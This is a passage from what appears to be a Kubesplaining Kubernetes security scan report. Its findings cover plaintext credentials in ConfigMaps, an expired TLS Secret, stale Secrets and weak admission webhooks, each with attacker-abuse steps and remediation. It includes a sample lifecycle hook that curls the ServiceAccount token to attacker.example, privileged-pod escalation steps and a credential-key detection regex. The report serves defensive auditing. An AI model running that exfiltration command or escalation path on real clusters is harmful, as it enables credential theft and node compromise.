  1. Inspect each matched key (aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret) to confirm whether it is a real credential. Some keys like cache_key_prefix are false positives.
  2. For real credentials, create a Secret in secrets-bundle and update consumers (envFrom or volume mounts) to read from the Secret.
  3. Rotate the credential at its source: if it was already in plaintext in a ConfigMap, treat it as compromised (assume any subject with view-on-configmaps had access).
  4. Remove the credential keys from secrets-bundle/app-credentials. Verify the consumer still works (kubectl rollout status).
  5. Wire prevention: a Kyverno cluster policy that warns on ConfigMap.data keys matching password|secret|token|credential|api_?key|access_?key|client_secret|connection_string|dsn. Pair with External Secrets Operator so the right path of least resistance is to use a real secret store.
Evidence
Matched keysaws_secret_access_keydatabase_dsndb_passwordjwt_tokenoauth_client_secret
Show raw JSON
{
  "matched_keys": [
    "aws_secret_access_key",
    "database_dsn",
    "db_password",
    "jwt_token",
    "oauth_client_secret"
  ]
}
MEDIUM ConfigMap/vulnerable/app-config Object 6.3
ConfigMap vulnerable/app-config exposes credential-shaped keys (api_token, db_password) in plaintext
Scope · Object ConfigMap vulnerable/app-config: readable by every subject with get configmaps in vulnerable, ships unencrypted in etcd, surfaces in kubectl describe and audit logs
Category: Data Exfiltration Resource: ConfigMap/vulnerable/app-config Namespace: vulnerable

ConfigMap vulnerable/app-config contains keys with names matching credential-like patterns: api_token, db_password. The Kubernetes API treats ConfigMaps as non-sensitive: etcd stores them unencrypted by default (encryption-at-rest is opt-in and almost always limited to Secrets), kubectl describe configmap prints values inline, audit logs include the data on get/list, and RBAC defaults give workload service accounts much wider read on ConfigMaps than on Secrets.

Storing a credential in a ConfigMap therefore violates the basic Kubernetes data-classification model in three ways simultaneously: (1) it appears in plaintext to anyone with get configmaps (a much larger set of subjects than get secrets); (2) it ends up in cluster backups, etcd dumps, and platform observability tooling that explicitly excludes Secrets; (3) it does not benefit from any of the surface area Kubernetes builds around Secrets (envelope encryption, file-mode 0600 projection, KMS provider, External Secrets Operator).

The matched keys are heuristic, since key matches both apiKey and public_key, so review is required before assuming compromise. In practice the pattern is strong: in production clusters this finding correlates with real leaks the majority of the time. Treat as exposed-until-proven-otherwise.

Impact If any of the flagged keys (api_token, db_password) actually hold a credential, that credential is exposed to a wide audience: every workload SA in vulnerable, every backup operator, every audit log consumer, and possibly cluster-mirroring tooling.
How an attacker abuses this
Background
ResourceConfigMap

A ConfigMap stores plain-text configuration that pods read at startup. They are not meant to hold secrets, but in practice teams put database URLs (with passwords), API keys, and tokens in ConfigMaps. Kubesplaining flags credential-shaped keys for that reason.

  1. Attacker compromises a workload in vulnerable whose ServiceAccount has get configmaps (the typical default view role grants it).
  2. They kubectl get cm app-config -n vulnerable -o yaml and read the matched keys directly. No decoding needed since ConfigMap data is plaintext.
  3. They identify the credential class (DB connection string, API key, OAuth client_secret, signing key) from the key name and value shape.
  4. They use the credential immediately: DB connection strings often grant the same write permission the application has; API keys often have no IP restriction; client_secrets unlock the upstream identity provider.
  5. Because audit-log review on ConfigMaps is rare, the read goes unnoticed until the upstream credential is rotated for unrelated reasons.
Remediation
Move the credential out of vulnerable/app-config into a Kubernetes Secret (or, better, an external secret store) and remove the keys from the ConfigMap.
  1. Inspect each matched key (api_token, db_password) to confirm whether it is a real credential. Some keys like cache_key_prefix are false positives.
  2. For real credentials, create a Secret in vulnerable and update consumers (envFrom or volume mounts) to read from the Secret.
  3. Rotate the credential at its source: if it was already in plaintext in a ConfigMap, treat it as compromised (assume any subject with view-on-configmaps had access).
  4. Remove the credential keys from vulnerable/app-config. Verify the consumer still works (kubectl rollout status).
  5. Wire prevention: a Kyverno cluster policy that warns on ConfigMap.data keys matching password|secret|token|credential|api_?key|access_?key|client_secret|connection_string|dsn. Pair with External Secrets Operator so the right path of least resistance is to use a real secret store.
Evidence
Matched keysapi_tokendb_password
Show raw JSON
{
  "matched_keys": [
    "api_token",
    "db_password"
  ]
}
MEDIUM

TLS Secret secrets-bundle/ingress-tls expired 903d ago (NotAfter=2024-01-01T00:00:00Z)

KUBE-SECRETS-TLS-EXPIRY-001 1 subject Score 5.6

Affected subject

MEDIUM Secret/secrets-bundle/ingress-tls Object 5.6
TLS Secret secrets-bundle/ingress-tls expired 903d ago (NotAfter=2024-01-01T00:00:00Z)
Scope · Object Secret secrets-bundle/ingress-tls (type kubernetes.io/tls): every Service, Ingress, and webhook callsite that references this Secret will start failing TLS handshake at NotAfter unless the certificate is rotated.
Category: Data Exfiltration Resource: Secret/secrets-bundle/ingress-tls Namespace: secrets-bundle

Secret secrets-bundle/ingress-tls is a kubernetes.io/tls Secret and its certificate expired 903d ago (NotAfter=2024-01-01T00:00:00Z). The expiry is read from the cert-manager.io/certificate-name + cert-manager.io/issuer-name family of annotations (the de-facto standard cert-manager and ArgoCD set on every TLS Secret they issue): cert-manager.io/not-after, cert-manager.io/notafter, or the legacy cert-manager.io/expiration annotation.

The secret's payload (tls.crt) is *not* read by the kubesplaining collector (see the privacy contract in CLAUDE.md: raw secret values are never collected). This rule is therefore a best-effort check based on annotations only: it fires on Secrets whose annotations report an expiry within the next 30 days or already in the past, and silently skips Secrets that have no parseable expiry annotation. A real PKI tool (cert-manager's Certificate CR controller, an external probe like cert-monitor, or kubectl cert-monitor) is the authoritative source.

Why this matters: an expired TLS Secret is the single most common cause of an Ingress / webhook outage that pages SREs at 3am. cert-manager auto-renews most certificates, but renewal can fail silently if (a) the Issuer is misconfigured, (b) the ACME challenge can't reach Let's Encrypt because of a NetworkPolicy change, (c) the Issuer's credentials have rotated, or (d) the Certificate CR was deleted but the Secret was kept. A 30-day window gives the platform team room to investigate and re-issue before the outage.

Impact Once secrets-bundle/ingress-tls expires, every consumer of the cert (Ingress backends, mutating/validating webhooks, mTLS sidecars, internal Service-to-Service callers) starts failing TLS handshake. For a webhook Secret this means every API admission call into the cluster fails until the cert is rotated.
How an attacker abuses this
Background
ResourceSecret

A Secret holds sensitive data: registry pull credentials, TLS private keys, ServiceAccount tokens. Secrets are base64-encoded, not encrypted by default. Anyone with get on the Secret resource can read the contents in cleartext. get/list/watch on Secrets in kube-system is effectively cluster-admin: that namespace holds the controller-manager and kube-scheduler tokens.

Kubernetes docs ↗
  1. This is primarily an availability finding, not an attacker-driven one. The relevant 'attacker' is time.
  2. On the day the cert expires, every TLS handshake against the consumer of secrets-bundle/ingress-tls returns x509: certificate has expired.
  3. For an Ingress: external traffic gets a browser warning, then is rejected. For a mutating webhook: every kubectl apply for matching resources hits failed calling webhook ... x509.
  4. For internal Service-to-Service mTLS (Istio, Linkerd, application-level mTLS): connections start dropping; sidecars surface as TLS-handshake-failure spikes in mesh dashboards.
  5. Recovery is manual: re-issue the cert (cert-manager Force Renew annotation, or a fresh kubectl create secret tls) and roll the consumer pods.
Remediation
Re-issue the certificate before NotAfter. If secrets-bundle/ingress-tls is owned by cert-manager, force renewal; if it was created manually, replace it with a cert-manager Certificate CR so renewal is automatic.
  1. Identify the Issuer. kubectl get secret ingress-tls -n secrets-bundle -o jsonpath='{.metadata.annotations}' shows cert-manager.io/issuer-name and cert-manager.io/certificate-name if cert-manager owns the Secret.
  2. For cert-manager-owned Secrets, force renewal with cmctl renew <certificate-name> -n <ns> (or kubectl annotate certificate <name> cert-manager.io/issue-temporary-certificate=true). The Certificate controller will create a new CertificateRequest and refresh the Secret.
  3. For manually-created Secrets, prefer migrating to a cert-manager Certificate CR pointing at an Issuer / ClusterIssuer. The chart for most ingress / webhook deployments includes one. Re-create with kubectl apply -f instead of editing secrets-bundle/ingress-tls in place.
  4. Verify the cert-manager Issuer is healthy: kubectl get clusterissuer,issuer -A and check Ready condition. ACME failures (DNS, HTTP-01 challenge) are the most common renewal blockers.
  5. Wire prevention: enable cert-manager's cert-manager.io/private-key-rotation-policy: Always and renewBefore (default 360h ≈ 15d) on all Certificate CRs. Add a Prometheus alert on certmanager_certificate_expiration_timestamp_seconds < (time() + 30 * 24 * 3600).
Evidence
Typekubernetes.io/tls
TLS certificate + private key
days_to_expiry
"903d"
expired
true
not_after
"2024-01-01T00:00:00Z"
Show raw JSON
{
  "days_to_expiry": "903d",
  "expired": true,
  "not_after": "2024-01-01T00:00:00Z",
  "type": "kubernetes.io/tls"
}
LOW

Secret secrets-bundle/ingress-tls is not referenced by any Pod or ServiceAccount in the snapshot

KUBE-SECRETS-STALE-001 2 subjects Score 3.4
MITRE ATT&CK: T1552.001T1552.007

Affected subjects (2)

LOW Secret/secrets-bundle/ingress-tls Object 3.4
Secret secrets-bundle/ingress-tls is not referenced by any Pod or ServiceAccount in the snapshot
Scope · Object Secret secrets-bundle/ingress-tls: still readable by every subject with get/list secrets in secrets-bundle, but no observed workload mounts or consumes it
Category: Data Exfiltration Resource: Secret/secrets-bundle/ingress-tls Namespace: secrets-bundle

Secret secrets-bundle/ingress-tls (type kubernetes.io/tls) was not found referenced from any of the workload-spec entry points the snapshot collects: pod containers' env[].valueFrom.secretKeyRef, container-level envFrom[].secretRef, pod volumes[].secret.secretName, and ServiceAccount imagePullSecrets / secrets lists.

In a healthy cluster this almost always means one of: (a) a workload that used to mount the Secret was deleted but the Secret was not garbage-collected, (b) the Secret was created speculatively (a bootstrap step, a CI/CD seed) and never wired in, (c) a Helm release was uninstalled with --keep-history or via kubectl delete deployment instead of helm uninstall, leaving Secrets behind, or (d) the Secret is consumed *outside* the snapshot's view (a CronJob / Job / DaemonSet in another namespace, an external system reading via the API server using SA credentials).

Stale Secrets are an asymmetric risk. They contribute *nothing* to current operations but they are still readable by every subject with get/list secrets in the namespace (which the namespace-default view and edit cluster roles both grant). Rotating them is free of operational impact since no consumer breaks. Deleting them tightens the blast radius of a future credential-read compromise without any deployment risk. The only operational cost is verifying the Secret really has no consumer outside the snapshot's view.

Impact If secrets-bundle/ingress-tls holds a real credential (token, password, API key, kubeconfig, registry pull secret), it is still in the blast radius of every subject with get secrets in secrets-bundle even though no workload uses it. Compromise yields a credential the operator believes is decommissioned.
How an attacker abuses this
Background
ResourceSecret

A Secret holds sensitive data: registry pull credentials, TLS private keys, ServiceAccount tokens. Secrets are base64-encoded, not encrypted by default. Anyone with get on the Secret resource can read the contents in cleartext. get/list/watch on Secrets in kube-system is effectively cluster-admin: that namespace holds the controller-manager and kube-scheduler tokens.

Kubernetes docs ↗
  1. Attacker compromises any subject with get secrets in secrets-bundle. Default view/edit cluster-role bindings, audit roles, debugging operators, helm-controller and external-secrets controller SAs all qualify.
  2. They kubectl get secret ingress-tls -n secrets-bundle -o yaml and decode data keys.
  3. They identify the credential class (token, kubeconfig, registry pull credentials, OAuth client secret) from the key shape.
  4. Because the Secret is unreferenced, no audit alert wires the read to a known consumer pattern: the access looks like a one-off get instead of a controller's expected token-refresh loop.
  5. They use the credential against the corresponding upstream system. The operator's team continues to assume the Secret is dormant and unused; rotation only happens if some unrelated audit catches the abuse.
Remediation
Confirm secrets-bundle/ingress-tls is genuinely unused (the snapshot may not have visibility into every consumer), then delete it. Treat the credential as compromised before rotation if the Secret has been long-lived.
  1. Confirm no out-of-snapshot consumer exists. kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.secret.secretName == "ingress-tls" or .spec.containers[]?.env[]?.valueFrom?.secretKeyRef?.name == "ingress-tls" or .spec.containers[]?.envFrom[]?.secretRef?.name == "ingress-tls") | .metadata.namespace + "/" + .metadata.name'. Run for Jobs, CronJobs, and ServiceAccount imagePullSecrets too.
  2. Check change history (Argo / Flux / Helm) for the Secret name. Many stale Secrets are managed by GitOps and have a tracked owner; deleting them outside GitOps will cause the system to recreate them on the next sync.
  3. If you confirm no consumer, treat the credential as exposed (anyone with secret-read in secrets-bundle could have copied it). Rotate the upstream credential at its source (cloud IAM, registry, OIDC IDP).
  4. kubectl delete secret ingress-tls -n secrets-bundle. Watch for CrashLoopBackOff in the namespace for the next 24h, in case a Job or external system needed it.
  5. Wire prevention: schedule a periodic secrets-janitor Job that lists Secrets older than N days that no resource references, and emits a Slack/email warning. External tools like kor or secret-scanner automate this same check.
Evidence
Typekubernetes.io/tls
TLS certificate + private key
Show raw JSON
{
  "type": "kubernetes.io/tls"
}
LOW Secret/secrets-bundle/stale-creds Object 3.4
Secret secrets-bundle/stale-creds is not referenced by any Pod or ServiceAccount in the snapshot
Scope · Object Secret secrets-bundle/stale-creds: still readable by every subject with get/list secrets in secrets-bundle, but no observed workload mounts or consumes it
Category: Data Exfiltration Resource: Secret/secrets-bundle/stale-creds Namespace: secrets-bundle

Secret secrets-bundle/stale-creds (type Opaque) was not found referenced from any of the workload-spec entry points the snapshot collects: pod containers' env[].valueFrom.secretKeyRef, container-level envFrom[].secretRef, pod volumes[].secret.secretName, and ServiceAccount imagePullSecrets / secrets lists.

In a healthy cluster this almost always means one of: (a) a workload that used to mount the Secret was deleted but the Secret was not garbage-collected, (b) the Secret was created speculatively (a bootstrap step, a CI/CD seed) and never wired in, (c) a Helm release was uninstalled with --keep-history or via kubectl delete deployment instead of helm uninstall, leaving Secrets behind, or (d) the Secret is consumed *outside* the snapshot's view (a CronJob / Job / DaemonSet in another namespace, an external system reading via the API server using SA credentials).

Stale Secrets are an asymmetric risk. They contribute *nothing* to current operations but they are still readable by every subject with get/list secrets in the namespace (which the namespace-default view and edit cluster roles both grant). Rotating them is free of operational impact since no consumer breaks. Deleting them tightens the blast radius of a future credential-read compromise without any deployment risk. The only operational cost is verifying the Secret really has no consumer outside the snapshot's view.

Impact If secrets-bundle/stale-creds holds a real credential (token, password, API key, kubeconfig, registry pull secret), it is still in the blast radius of every subject with get secrets in secrets-bundle even though no workload uses it. Compromise yields a credential the operator believes is decommissioned.
How an attacker abuses this
Background
ResourceSecret

A Secret holds sensitive data: registry pull credentials, TLS private keys, ServiceAccount tokens. Secrets are base64-encoded, not encrypted by default. Anyone with get on the Secret resource can read the contents in cleartext. get/list/watch on Secrets in kube-system is effectively cluster-admin: that namespace holds the controller-manager and kube-scheduler tokens.

Kubernetes docs ↗
  1. Attacker compromises any subject with get secrets in secrets-bundle. Default view/edit cluster-role bindings, audit roles, debugging operators, helm-controller and external-secrets controller SAs all qualify.
  2. They kubectl get secret stale-creds -n secrets-bundle -o yaml and decode data keys.
  3. They identify the credential class (token, kubeconfig, registry pull credentials, OAuth client secret) from the key shape.
  4. Because the Secret is unreferenced, no audit alert wires the read to a known consumer pattern: the access looks like a one-off get instead of a controller's expected token-refresh loop.
  5. They use the credential against the corresponding upstream system. The operator's team continues to assume the Secret is dormant and unused; rotation only happens if some unrelated audit catches the abuse.
Remediation
Confirm secrets-bundle/stale-creds is genuinely unused (the snapshot may not have visibility into every consumer), then delete it. Treat the credential as compromised before rotation if the Secret has been long-lived.
  1. Confirm no out-of-snapshot consumer exists. kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.secret.secretName == "stale-creds" or .spec.containers[]?.env[]?.valueFrom?.secretKeyRef?.name == "stale-creds" or .spec.containers[]?.envFrom[]?.secretRef?.name == "stale-creds") | .metadata.namespace + "/" + .metadata.name'. Run for Jobs, CronJobs, and ServiceAccount imagePullSecrets too.
  2. Check change history (Argo / Flux / Helm) for the Secret name. Many stale Secrets are managed by GitOps and have a tracked owner; deleting them outside GitOps will cause the system to recreate them on the next sync.
  3. If you confirm no consumer, treat the credential as exposed (anyone with secret-read in secrets-bundle could have copied it). Rotate the upstream credential at its source (cloud IAM, registry, OIDC IDP).
  4. kubectl delete secret stale-creds -n secrets-bundle. Watch for CrashLoopBackOff in the namespace for the next 24h, in case a Job or external system needed it.
  5. Wire prevention: schedule a periodic secrets-janitor Job that lists Secrets older than N days that no resource references, and emits a Slack/email warning. External tools like kor or secret-scanner automate this same check.
Evidence
TypeOpaque
Generic key/value secret
Show raw JSON
{
  "type": "Opaque"
}

Admission Webhooks

3 findings · 3 rules · 0 critical · 1 high · 2 medium · 0 low
HIGH

MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local is fail-open (failurePolicy: Ignore) on security-critical resources

KUBE-ADMISSION-001 1 subject Score 7.9
MITRE ATT&CK: T1562T1556T1525T1611

Affected subject

HIGH MutatingWebhookConfiguration/risky-ignore-webhook Cluster 7.9
MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local is fail-open (failurePolicy: Ignore) on security-critical resources
Scope · Cluster MutatingWebhookConfiguration risky-ignore-webhook (webhook entry mutate.vulnerable.local): applies to admission across the entire cluster
Category: Infrastructure Modification Resource: MutatingWebhookConfiguration/risky-ignore-webhook

The webhook mutate.vulnerable.local in MutatingWebhookConfiguration/risky-ignore-webhook intercepts create/update on security-critical resources (pods, deployments, daemonsets, statefulsets, jobs, cronjobs, or podtemplates) but its failurePolicy is set to Ignore. The Kubernetes admission docs are explicit: Ignore means "any error from the webhook is silently ignored, and the API request is allowed to continue". In practice, this means that if the webhook backend is unavailable, slow, or denies the request with an error, the offending pod/workload is admitted as if no policy existed.

Concretely, if the policy backend pod crashes, is rolling, has a network partition, fails its own admission, or returns an HTTP 500, then any pod can ship. That includes pods that violate Pod Security Standards, run as root, mount the host filesystem, or use hostNetwork. Beyond that, an attacker who can already trigger a denial-of-service against the webhook backend (high traffic, OOM via large requests, killing its pods) can deliberately disable enforcement and then admit privileged pods.

The failurePolicy choice is one of two: Fail (deny when the webhook is unavailable: the conservative production default) or Ignore (allow when unavailable: only appropriate for non-security webhooks like cosmetic mutators). Security webhooks (PSA replacements, image signing, network-policy injection, secret encryption) should always use Fail paired with objectSelector/namespaceSelector carve-outs that ensure the policy backend itself can come up before any other workload is admitted.

Impact Any outage or DoS of the webhook backend silently disables policy enforcement cluster-wide on the targeted resources. Privileged pods, root containers, and PSS-violating workloads can be admitted while monitoring shows the webhook "installed."
How an attacker abuses this
  1. Attacker enumerates webhook configurations (kubectl get MutatingWebhookConfiguration) and identifies that risky-ignore-webhook has failurePolicy: Ignore.
  2. They induce backend failure: kill the webhook's backing pods if they have RBAC for it, send oversized AdmissionReview payloads to OOM the backend, or simply wait for a deploy-time outage.
  3. While the webhook is unhealthy, they apply a privileged pod manifest (hostPID, hostNetwork, hostPath /, runAsUser 0).
  4. The API server calls the webhook, gets a connection-refused/timeout error, applies Ignore, and admits the pod. There is no audit trail noting that the webhook was bypassed beyond the API-server logs (which most teams do not alert on).
  5. From the privileged pod the attacker pivots: chroot into /host for full node compromise, dump secrets, persist a daemonset.
Remediation
Switch mutate.vulnerable.local.failurePolicy to Fail and confirm the webhook backend has the availability/HA characteristics needed for the cluster's admission rate.
  1. Edit MutatingWebhookConfiguration/risky-ignore-webhook and set webhooks[name=mutate.vulnerable.local].failurePolicy: Fail.
  2. Make sure the webhook backend is highly available (≥2 replicas, PodDisruptionBudget, anti-affinity, dedicated nodepool if it is on the critical admission path).
  3. Add a namespaceSelector carve-out so the webhook does not fight itself during cold start (e.g., exclude the namespace where the webhook backend runs).
  4. Add a SLO/alert for AdmissionReview latency and 5xx rate; failure-mode is now "deploys halt" instead of "policy silently disabled," which is preferable but needs visible monitoring.
  5. Consider migrating PSS-style enforcement to the in-tree Pod Security Admission so you have a non-webhook backstop that remains active even if the webhook fails to come up.
Evidence
failurePolicyIgnore
Webhook failures are silently allowed (admission policy effectively off)
Webhook rules
CREATE on core/v1:pods (*)
webhook_index
0
webhook_name
"mutate.vulnerable.local"
Show raw JSON
{
  "failurePolicy": "Ignore",
  "rules": [
    {
      "apiGroups": [
        ""
      ],
      "apiVersions": [
        "v1"
      ],
      "operations": [
        "CREATE"
      ],
      "resources": [
        "pods"
      ],
      "scope": "*"
    }
  ],
  "webhook_index": 0,
  "webhook_name": "mutate.vulnerable.local"
}
MEDIUM

MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local exempts sensitive system namespaces via namespaceSelector

KUBE-ADMISSION-003 1 subject Score 6.4
MITRE ATT&CK: T1562T1611T1578

Affected subject

MEDIUM MutatingWebhookConfiguration/risky-ignore-webhook Cluster 6.4
MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local exempts sensitive system namespaces via namespaceSelector
Scope · Cluster MutatingWebhookConfiguration risky-ignore-webhook (webhook entry mutate.vulnerable.local): applies to admission across the entire cluster
Category: Infrastructure Modification Resource: MutatingWebhookConfiguration/risky-ignore-webhook

Webhook mutate.vulnerable.local in MutatingWebhookConfiguration/risky-ignore-webhook has a namespaceSelector that uses NotIn or DoesNotExist to exempt kube-system (or another *-system namespace) from admission control. The exemption is sometimes a deliberate cold-start workaround (the webhook backend itself runs in kube-system and would deadlock if the webhook applied to it), but it routinely outlives the cold-start need and is rarely revisited.

Sensitive namespaces are exactly where admission control matters most. kube-system hosts coredns, kube-proxy, the cloud-controller-manager, CNI agents, the metrics-server, and most clusters' add-on operators: workloads that already run with high privilege. An attacker who can create resources in kube-system (e.g., via a stolen system: ServiceAccount token, an over-permissive roles/clusterroles create rule, or a privileged operator) finds the admission webhooks deliberately turned off for them.

This is also a defense-in-depth gap: even if a future privesc finding (KUBE-PRIVESC-*) is mitigated, the namespace-selector exemption keeps the door open. The right pattern is to scope the exemption to the *single* control-plane namespace the backend itself needs (and only at boot), not to every -system namespace by suffix.

Impact An attacker who can create pods or other resources in the exempted system namespace bypasses every check this webhook implements: root containers, hostPath mounts, and arbitrary images all admit silently.
How an attacker abuses this
  1. Attacker compromises a workload with create pods permission scoped to kube-system (typical of operators, addon managers, or stolen control-plane tokens).
  2. They submit a pod manifest with hostPath: /, runAsUser: 0, and securityContext.privileged: true.
  3. The API server evaluates mutate.vulnerable.local's namespaceSelector, sees the exemption for kube-system, and admits the pod without invoking the webhook.
  4. The pod schedules on a control-plane-adjacent node, mounts the host root filesystem, and reads /etc/kubernetes/pki/* (etcd CA, apiserver cert, kubelet client cert).
  5. With those keys the attacker forges admin credentials and assumes full cluster control.
Remediation
Narrow mutate.vulnerable.local.namespaceSelector to the exact namespace the webhook backend needs to skip during cold start, or remove the exemption entirely once the backend is bootstrapped.
  1. Check why mutate.vulnerable.local excludes the namespace. Is it a cold-start workaround or a permanent carve-out?
  2. If cold-start: scope the exemption to the *exact* namespace the webhook backend runs in (e.g., kubernetes.io/metadata.name NotIn [policy-system]), not every *-system.
  3. If permanent carve-out: replace it with the in-tree Pod Security Admission level for that namespace so privileged pods still face *some* check.
  4. Validate by dry-running a privileged pod manifest in the previously-exempted namespace; the webhook should now process the request.
  5. Wire a Kyverno or OPA Gatekeeper rule that fails any future webhook configuration that exempts kube-system or a *-system namespace without a documented justification annotation.
Evidence
namespaceSelector
label kubernetes.io/metadata.name is NOT one of [kube-system]
excluded_namespace
"kube-system"
expr_index
0
value_index
0
webhook_index
0
webhook_name
"mutate.vulnerable.local"
Show raw JSON
{
  "excluded_namespace": "kube-system",
  "expr_index": 0,
  "namespaceSelector": {
    "matchExpressions": [
      {
        "key": "kubernetes.io/metadata.name",
        "operator": "NotIn",
        "values": [
          "kube-system"
        ]
      }
    ]
  },
  "value_index": 0,
  "webhook_index": 0,
  "webhook_name": "mutate.vulnerable.local"
}
MEDIUM

MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local can be bypassed by omitting the workload-controlled labels in objectSelector

KUBE-ADMISSION-002 1 subject Score 6.1
MITRE ATT&CK: T1562T1556T1578

Affected subject

MEDIUM MutatingWebhookConfiguration/risky-ignore-webhook Cluster 6.1
MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local can be bypassed by omitting the workload-controlled labels in objectSelector
Scope · Cluster MutatingWebhookConfiguration risky-ignore-webhook (webhook entry mutate.vulnerable.local): applies to admission across the entire cluster
Category: Infrastructure Modification Resource: MutatingWebhookConfiguration/risky-ignore-webhook

Webhook mutate.vulnerable.local in MutatingWebhookConfiguration/risky-ignore-webhook uses an objectSelector, which limits its admission rules to objects whose own labels match the selector. Because Kubernetes lets the workload author set arbitrary labels on the object they are creating, an objectSelector that gates security policy is opt-in: an attacker (or a careless developer) creates the same pod without the matching labels and the webhook never sees it.

This is structurally different from namespaceSelector (which gates by namespace labels; namespaces are a higher-trust object that workload authors typically can't relabel). objectSelector checks the labels on the resource being admitted, so a pod manifest that simply omits the policy's gating label slips past untouched. The Kubernetes API reference notes this explicitly: "If you skip the security label, the webhook is not called."

For policy-enforcing webhooks (PSS replacements, image-signing, sidecar injection of security tooling) this is the wrong tool. The right pattern is to inversely scope the webhook: select *all* objects (objectSelector: {} or absent) and use a namespaceSelector plus carefully targeted opt-out labels (e.g., policy.example.com/exempt: true) that are themselves gated by RBAC on the namespace, not on the pod author.

Impact Workload authors (legitimate or hostile) can opt out of admission enforcement simply by not setting the gating labels on their pods. This defeats the point of the webhook for any user with create permission on the targeted resources.
How an attacker abuses this
  1. Attacker reads MutatingWebhookConfiguration/risky-ignore-webhook and notes the objectSelector requires e.g. app.kubernetes.io/managed-by: platform.
  2. They author a pod manifest that omits the app.kubernetes.io/managed-by label entirely.
  3. They kubectl apply it; the API server evaluates the objectSelector, finds it does not match, skips the webhook, and admits the pod.
  4. The pod runs with whatever the namespace defaults allow, including PSS-violating settings the webhook was supposed to block.
  5. Because nothing logs "webhook skipped due to objectSelector," the bypass is invisible in the SIEM unless the team explicitly audits AdmissionReview misses.
Remediation
Replace objectSelector-based gating on mutate.vulnerable.local with namespaceSelector plus an RBAC-protected exemption label, or remove the selector and let the webhook see every object.
  1. Audit what mutate.vulnerable.local is trying to gate. If the goal is "only apply to pods in tenant namespaces," use namespaceSelector (namespace labels are higher-trust).
  2. If you need an exemption mechanism, add a policy.example.com/exempt: true label *on the namespace* and protect it with RBAC so workload authors cannot grant their own exemption.
  3. Edit MutatingWebhookConfiguration/risky-ignore-webhook and either drop webhooks[name=mutate.vulnerable.local].objectSelector or invert it to a default-on form.
  4. Re-test by attempting to create a pod that previously bypassed admission; it should now be evaluated.
  5. If the webhook ships with the cluster's admission stack, document the new exemption flow so platform users know how to request one.
Evidence
objectSelector
label admission = enabled
webhook_index
0
webhook_name
"mutate.vulnerable.local"
Show raw JSON
{
  "objectSelector": {
    "matchLabels": {
      "admission": "enabled"
    }
  },
  "webhook_index": 0,
  "webhook_name": "mutate.vulnerable.local"
}

Container Security

54 findings · 4 rules · 0 critical · 0 high · 29 medium · 25 low
MEDIUM

Container app in Deployment/containersec-fixtures/containersec-lifecycle runs a postStart lifecycle exec hook

KUBE-CONTAINER-LIFECYCLE-001 1 subject Score 5.5
MITRE ATT&CK: T1059T1554T1611

Affected subject

MEDIUM Deployment/containersec-fixtures/containersec-lifecycle Workload 5.5
Container app in Deployment/containersec-fixtures/containersec-lifecycle runs a postStart lifecycle exec hook
Scope · Workload Workload Deployment/containersec-fixtures/containersec-lifecycle
Category: Defense Evasion Resource: Deployment/containersec-fixtures/containersec-lifecycle Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-lifecycle declares a lifecycle.postStart.exec handler that invokes sh -c touch /tmp/started && echo postStart-ran > /tmp/postStart.log. Lifecycle exec hooks run inside the container at well-defined points (postStart immediately after the container is created, preStop immediately before termination) using the kubelet's exec stream, which means they execute as PID 1's effective user but completely outside the application's own observability and audit trail.

There are two distinct risk patterns. The first is *persistence and configuration drift*: an exec hook is the simplest way to mutate a container at runtime in a way that survives no Git review (the hook string lives in the PodSpec, but nothing forces it to be a small wrapper script). A common production smell is a postStart hook that fetches additional secrets, edits config files, or installs extra packages with apt-get; those mutations skip the image-signing pipeline, leave no audit-log entry, and frequently disable security controls the image build set up.

The second is *attack surface and detection bypass*. Lifecycle exec runs invisibly to most container EDR tooling: Falco's default rules treat exec-from-kubelet differently from in-container shell spawns, and many SIEM pipelines drop these events as "infrastructure noise." An attacker who can mutate the PodSpec (compromised CI, modified Helm chart, exposed Argo CD) can add a preStop hook that exfiltrates secrets when the pod is terminated for any reason (rollout, eviction, node drain), giving them a stealthy persistent foothold tied to normal cluster operations.

Impact Lifecycle exec runs outside the application's observability surface and is frequently used to mutate container state at runtime, persist attacker-controlled changes, or exfiltrate secrets on graceful termination.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains write access to the PodSpec source (compromised CI runner, mis-scoped ArgoCD App, leaked Helm values).
  2. They add or modify the lifecycle.postStart.exec.command to ["sh","-c","curl -d @/var/run/secrets/kubernetes.io/serviceaccount/token https://attacker.example/x"].
  3. On the next rollout the new pods execute the hook; the existing pods execute the preStop variant when they are evicted during the rollout.
  4. The kubelet executes the command as the container's primary user. The application logs are empty (the app process never saw the request), and most container EDR rules ignore kubelet-exec.
  5. Attacker harvests the ServiceAccount token, the projected volume secrets, and any file the application user can read. The trail in the cluster audit log is one routine update to the Deployment.
Remediation
Move the work performed by the postStart hook into the image (build-time) or an init container; if the hook is genuinely required, make it a small auditable script under source control.
  1. Audit what postStart is doing. Common offenders: fetching secrets, editing config files, registering with a service mesh, warming a cache.
  2. Move build-time mutations into the image build itself. Anything that hits the network at postStart belongs in a sidecar or an init container with explicit RBAC.
  3. If the hook is genuinely needed, replace inline sh -c "..." commands with a small shell script baked into the image (e.g. /usr/local/bin/poststart.sh) so reviewers see exactly one auditable file.
  4. Add Kyverno (disallow-lifecycle-exec or a tighter validate that bans sh -c inline) to keep regressions out.
  5. Wire Falco / runtime-EDR to alert on kubelet-driven exec into long-running pods; treat lifecycle exec the same as a manual kubectl exec.
Evidence
Containerapp
command
"sh -c touch /tmp/started \u0026\u0026 echo postStart-ran \u003e /tmp/postStart.log"
hook
"postStart"
Show raw JSON
{
  "command": "sh -c touch /tmp/started \u0026\u0026 echo postStart-ran \u003e /tmp/postStart.log",
  "container": "app",
  "hook": "postStart"
}
MEDIUM

